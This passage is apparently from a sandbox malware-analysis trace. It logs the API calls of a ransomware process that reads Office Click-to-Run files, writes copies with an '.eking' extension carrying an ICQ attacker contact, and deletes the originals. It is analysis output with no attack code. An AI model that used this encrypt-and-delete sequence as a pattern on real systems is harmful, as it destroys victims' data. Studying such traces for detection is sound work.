lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x102, lpOverlapped=0x0) returned 1 [0279.159] CloseHandle (hObject=0x2dc) returned 1 [0279.160] CloseHandle (hObject=0x2d8) returned 1 [0279.160] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 1 [0279.168] SetEvent (hEvent=0x2a0) returned 1 [0279.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0279.170] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=820416) returned 1 [0279.170] CloseHandle (hObject=0x304) returned 1 [0279.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0279.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0279.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0279.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0279.171] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0279.171] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0279.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2d8 [0279.172] ReadFile (in: hFile=0x304, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0xc84c0, lpOverlapped=0x0) returned 1 [0279.397] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xc84d0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xc84d0, lpOverlapped=0x0) returned 1 [0279.731] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xf2, lpOverlapped=0x0) returned 1 [0279.732] CloseHandle (hObject=0x304) returned 1 [0279.732] CloseHandle (hObject=0x2d8) returned 1 [0279.732] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 1 [0279.744] SetEvent (hEvent=0x2a0) returned 1 [0279.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0279.746] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=4136) returned 1 [0279.746] CloseHandle (hObject=0x2d8) returned 1 [0279.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0279.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0279.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0279.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0279.746] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0279.747] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0279.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x304 [0279.748] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x1028, lpOverlapped=0x0) returned 1 [0279.750] WriteFile (in: hFile=0x304, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x1030, lpOverlapped=0x0) returned 1 [0279.752] WriteFile (in: hFile=0x304, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x102, lpOverlapped=0x0) returned 1 [0279.752] CloseHandle (hObject=0x2d8) returned 1 [0279.752] CloseHandle (hObject=0x304) returned 1 [0279.753] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1 [0279.754] SetEvent (hEvent=0x2a0) returned 1 [0279.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0279.755] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=902328) returned 1 [0279.755] CloseHandle (hObject=0x304) returned 1 [0279.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0279.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0279.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0279.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0279.756] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0279.756] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0279.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2d8 [0279.757] ReadFile (in: hFile=0x304, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0xdc4b8, lpOverlapped=0x0) returned 1 [0280.045] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xdc4c0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xdc4c0, lpOverlapped=0x0) returned 1 [0280.355] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xf2, lpOverlapped=0x0) returned 1 [0280.355] CloseHandle (hObject=0x304) returned 1 [0280.355] CloseHandle (hObject=0x2d8) returned 1 [0280.356] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 1 [0280.613] SetEvent (hEvent=0x2a0) returned 1 [0280.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0280.875] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=102) returned 1 [0280.875] CloseHandle (hObject=0x2fc) returned 1 [0280.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0280.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0280.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0280.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0280.876] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0280.876] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0280.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2d8 [0280.897] ReadFile (in: hFile=0x2fc, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x66, lpOverlapped=0x0) returned 1 [0280.898] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x70, lpOverlapped=0x0) returned 1 [0280.900] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xf2, lpOverlapped=0x0) returned 1 [0280.901] CloseHandle (hObject=0x2fc) returned 1 [0280.901] CloseHandle (hObject=0x2d8) returned 1 [0280.901] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 1 [0280.903] SetEvent (hEvent=0x2a0) returned 1 [0280.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0280.904] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=102) returned 1 [0280.904] CloseHandle (hObject=0x2d8) returned 1 [0280.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0280.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0280.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0280.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0280.904] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0280.904] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0280.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2fc [0280.905] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x66, lpOverlapped=0x0) returned 1 [0280.906] WriteFile (in: hFile=0x2fc, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x70, lpOverlapped=0x0) returned 1 [0280.908] WriteFile (in: hFile=0x2fc, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xf2, lpOverlapped=0x0) returned 1 [0280.908] CloseHandle (hObject=0x2d8) returned 1 [0280.908] CloseHandle (hObject=0x2fc) returned 1 [0280.908] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 1 [0280.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0280.911] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1093248) returned 1 [0280.911] CloseHandle (hObject=0x2fc) returned 1 [0280.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0280.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0280.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0280.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0280.913] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0280.913] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0280.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2d8 [0280.913] ReadFile (in: hFile=0x2fc, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x10ae80, lpOverlapped=0x0) returned 1 [0281.380] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x10ae90, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x10ae90, lpOverlapped=0x0) returned 1 [0281.695] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x102, lpOverlapped=0x0) returned 1 [0281.695] CloseHandle (hObject=0x2fc) returned 1 [0281.695] CloseHandle (hObject=0x2d8) returned 1 [0281.695] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1 [0281.698] SetEvent (hEvent=0x2a0) returned 1 [0281.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0281.701] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=996568) returned 1 [0281.701] CloseHandle (hObject=0x2d8) returned 1 [0281.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0282.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0282.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0282.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0282.001] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0282.001] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0282.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2d8 [0282.327] ReadFile (in: hFile=0x2e0, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0xf34d8, lpOverlapped=0x0) returned 1 [0282.489] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xf34e0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xf34e0, lpOverlapped=0x0) returned 1 [0282.718] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x102, lpOverlapped=0x0) returned 1 [0282.719] CloseHandle (hObject=0x2e0) returned 1 [0282.720] CloseHandle (hObject=0x2d8) returned 1 [0282.720] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 1 [0282.734] SetEvent (hEvent=0x2a0) returned 1 [0282.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0282.736] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=390320) returned 1 [0282.736] CloseHandle (hObject=0x2d8) returned 1 [0282.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0282.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common 